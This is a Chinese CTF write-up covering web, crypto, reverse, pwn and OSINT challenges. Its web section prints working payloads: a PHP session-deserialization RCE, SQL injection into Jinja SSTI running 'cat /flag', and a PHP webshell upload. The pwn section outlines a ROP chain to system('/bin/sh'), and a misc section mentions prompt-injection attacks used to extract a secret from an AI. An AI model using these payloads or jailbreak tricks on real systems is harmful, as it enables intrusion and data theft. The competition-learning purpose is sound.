第一次强网杯,和队友做了3个crypto和1个misc,最后排名全国101名
Web
PyBlockly
fuzz unicode
1 | import unidecode |
可写文件,可以写run.py,生成payload脚本如下,run.py直接RCE,并发打尝试竞争
1 | source='''begin') |
Yakit线程数开到80 repeat开1000,实测可以打通1-2次请求
读不出flag,看下权限
flag root只读,找suid
suid有dd命令,根据上面的脚本生成最终exp
platform
打session反序列化逃逸
本题session文件格式
1 | user|序列化字符session_key|序列化字符password|序列化字符 |
其中session_key长度不确定,但是是1-50范围内
敏感函数会过滤,user写数组填入敏感函数,password内填入恶意序列化,用user逃逸覆盖session_key
把session file打成这样就行
1 | user|a:2:{i:0;s:91:"";i:1;s:0:"";}session_key|s:43:"AASnObFAVz9pSYNMtI86IkkGzYUlqzxZyQPFVBmZB3i";password|s:96:";i:1;O:15:"notouchitsclass":1:{s:4:"data";s:30:"$a='sys'.'tem';$a('ls -al /');";}}password|s:0:""; |
最终payload
1 | username[]=evalevalevalevalevalevalevalevalevalevalevalevalevalevalevalevalevaleval&username[]=&password=;i:1;O:15:"notouchitsclass":1:{s:4:"data";s:31:"$a=%27sys%27.%27tem%27;$a(%27/readflag%27);";}}password|s:0:" |
Yakit线程数开1,一边打index.php生成session文件,一边打dashboard触发payload,当敏感函数覆盖的长度正好与随机生成的key长度相等就会执行命令,爆破还挺快
snake
上来一个贪吃蛇
session可以伪造,不过没什么用,先写个能玩的脚本
1 | import requests |
写了个循环的,算法不重要,能玩就行,就是跑得慢点
拿到最后的路径,发现有联合查询,查询出来的东西可以打ssti
注入poc
1 | /snake_win?username=a%27%20union%20select%201,2,(select%20%27PAYLOAD%27)--+ |
fenjing直接梭
最终payload
1 | http://eci-2ze8beum9soiwtd81xgp.cloudeci1.ichunqiu.com:5000/snake_win?username=a%27%20union%20select%201,2,(select%20%27{%set%20ls=%22cat%20/flag%22%}{{cycler.next.__globals__.__builtins__.__import__(%22os%22).popen(ls).read()}}%27)--+ |
Proxy
很简单,看一眼源码就知道了
v2接口直接打golang v1接口,不走nginx就行
base解一下flag{42f4ce70-9d67-4cf5-bec1-77c7256d2367}
xiaohuanxiong
访问后台目录ip/admin/payment.html可以发现这里可以上传php代码,于是添加phpinfo()进行上传
Burpsuit抓包将php内容改为一句话木马
发送后用蚁剑连接根目录下获取flag
Reverse
mips
mips_bin中可以解出一个flag,flag{dynamic_reverse},启动mips_bin可以提示正确,但这不是正确的flag。
动调输入flag{123456789012345678901}满足条件后,可以观察到stru的值是我们输入的明文,v679也是。
前面套了一个类似canary的东西?导致直接运行到不了加密点,对copy的明文交叉引用。可以发现一串未被IDA识别为函数的内容。转换之后可以看到比较逻辑。
1 | unsigned __int64 __fastcall rc4(__int64 a1) |
具体加密流程:
魔改rc4,异或0xA,换位
密文在这个位置
1 | __int64 __fastcall sub_7F1529A8D913() |
比较流程
使用单字节爆破,先换位,在单字节异或0xA以后判断是否相等
1 |
|
Crypto
EasyRSA
最关键的一点是发现因式分解
因为知道N,g。那么根据关系式我们就能求得
1 | import libnum |
flag{e83a95e2-6ea2-4402-808b-bf010cbbffcf}
21_steps
这题主要的思路就是构造出payload,只含有21个基本运算('>>', '<<', '+', '-', '&', '^','*', '/', '%')
同时,我们只能使用变量a和b,需要在21步之内将a(128位bits)的1的个数算出来,并且赋值给a
上网搜索相关的资料,发现存在一种求汉明重量的算法bitcount,其中存在一种位运算的算法,如下所示:
1 | int hammingWeight(uint32_t n) { |
这个是求64位的算法,我们只需要对位数进行扩展即可,稍微修改一下脚本:
1 | def calculate_hamming_weight_128(a): |
在本地测试,没啥问题,然后我们根据题目要求的正则表达式(pattern = r'([AB]|)=([AB]|)(+|-|*|//|<<|>>|&|^|%)([AB]|)')的规则进行改写,也就是说不能出现a=b这样的式子,必须是a=a+b这样的
而且不能使用十六进制的数,所以我们还需要调整一下
最后构造的payload:
1 | B=A+B; |
然后在nc端运行,直接得到flag
flag{you_can_weight_it_in_21_steps!}
apbq
这题的主要分三步
第一步很简单,已知p+q和p*q,直接解方程就行
1 | n=89839084450618055007900277736741312641844770591346432583302975236097465068572445589385798822593889266430563039645335037061240101688433078717811590377686465973797658355984717210228739793741484666628342039127345855467748247485016133560729063901396973783754780048949709195334690395217112330585431653872523325589 |
解得p和q的值,然后简单RSA解密得到第一部分的明文
1 | p=9944868810114216202051445555036732697046288141145767567362511367574668195172230525918426361043964814581009916352403620781997665604176512356634685730213779 |
然后第二部分参考了github(https://github.com/josephsurin/my-ctf-challenges/tree/main/downunderctf-2023/apbq-rsa-ii)上的LLL攻击脚本,稍作修改,就出结果了
1 | #task2 |
顺便把第二轮的私钥也求出来,后一轮要用
这样就求出了第二轮的m和第二轮的d,发现第三轮的d和第二轮是一样的
那第三轮就简单了,直接解就行
1 | import gmpy2 |
然后,拼起来就行
1 | m1=8114814712001608912087736741471 |
flag{yOu_can_s0lve_the_@pbq_prob1em!!}
Pwn
chat_with_me
这是一个rust的应用,比较难逆向,然而功能就是菜单堆(其实不是堆)
一共有四个功能
- 添加消息是在一个manager(申请的堆块)中写地址,manager的大小是指数级增长的,当添加消息功能的指针占满了就会realloc,0x1 * 8 、0x2 * 8 、0x4*8以此类推。
- 删除消息没啥用,至少对于本wp这个做法来说,就是将manager里剩余的指针向前拷贝
- 编辑消息是对于manager中的指针所指向的缓冲区进行编辑
- 查看消息是对于manager中的指针指向的缓冲区进行打印,按照字节数组的方式
本题的漏洞是:在添加消息时,返回的指针是栈上的,sub_199d0返回的消息指针是其参数
而其调用者传入的是v2这个临时变量指针,这个指针指向的位置是添加消息栈的低地址处,如果添加消息返回,再次调用编辑消息,那么编辑消息时将会修改编辑消息函数本身的临时变量。
本题的利用方式为:
1、首先,申请129个message,这样manager本身就会处于tcahce的大小之外(0x10+256*8=0x810)然后查看(show)任何一个消息,都会泄露出一个堆地址和一个栈地址。
2、然后编辑消息,在编辑时会输入一个index,这个index输入时估计是一个rust的string,内容是(8+字符串堆块地址+字符串长度/8)编辑完毕后,该字符串会被free掉,包括其中的字符串堆块。
3、而此时,该字符串对象刚好在栈指针+0x50的编辑范围内,将该指针的内容换成泄露的堆地址减去一定偏移(这个是可以调试的)就能够把manager给free掉,之后,manager会进入unsortedbin
4、再次edit,此时,该unsortedbin会被切割,会留下一个指向自己的指针,利用该指针写manager,给栈上留一个指针,堆上留一个指针。
5、利用栈上的指针读返回地址,得到程序在PIE下的加载地址
6、利用堆上指针重新写manager,添加一个指向got表的指针
7、got表只读,所以利用新的got表指针泄露libc地址
8、利用栈上指针写返回地址,ROP执行system("/bin/sh")即可,字符串放在ROP链末尾,反正栈地址也知道。
Getshell
ps:这个截图是结束后又跑了一遍代码补的,第一次交的忘了截图了
exp:
1 | from pwn import * |
Misc
签到
直接输入即可
flag{We1c0mE_T0_Qi@nGwangCuP_S8_H0pe_yOu_w1IL_L1kE_iT!}
问卷调查
flag{tHanKS_f0R_YoUr_FeeDBAck_seE_y0U_NexT_ye@r!}
Master of OSINT
任务为十张图,找出九张图的经纬度即可。
使用百度地图、谷歌识图、小红书、百度识图等工具慢慢一张一张找就行
第一张:
百度识图得,目标地点在青海湖附近,又是宽阔的马路,前方还有一个房子,我们直接把重心放到道路上
我们发现青海湖周围也没啥大的道路,所以目标放到了倒湖茶公路
沿着路搜索,就找到了目的地中的那个房子
经纬度:(99.9745,36.6671)
第二张:
发现图上有百安居的精准名字,于是遍历搜索全国的百安居,最后找到了百安居(龙阳店)
经纬度:(121.5659,31.2109)
第三张:
根据全景的最右边,基本确定是一个飞机场
百度识图得:
定位到百度地图,成都国际双流机场
经纬度:(103.9647,30.5719)
第四张:
百度识图,找到浙江长运物流股份有限公司(杭州储运分公司)
经纬度:(120.2933,30.3461)
第五张:
看到经典栏杆,一眼成都
搜图得:
经纬度:(106.5241,29.5250)
第六张:
识图得到:定位在南京铁路南站
经纬度:(118.7827,32.0134)
第七张:
定位该地址
发现是橘子洲头的高架,如下图
经纬度:(112.9695,28.2018)
第八张:
把重心放到高架、湖和风力发动机上
百度识图后,锁定下图
在长兴岛郊野公园
经纬度:(121.7348,31.4128)
第九张:
主要看这个桥,很有特征
感觉是长江,搜索一下,应该是在长江大桥上
定位到武汉天兴洲长江大桥
经纬度:(114.4125,30.6610)
最后解出9个图,得到flag
flag{f52a53006ed17f5a630483c36c873b27}
givemesecret
刚开始在网上搜到了对ai的浅析攻击,尝试了很多攻击方式,比如debug模式,遗忘模式,复述模式,都失败了,于是我们再进一步,使用了下图所示的方法,突然就出了(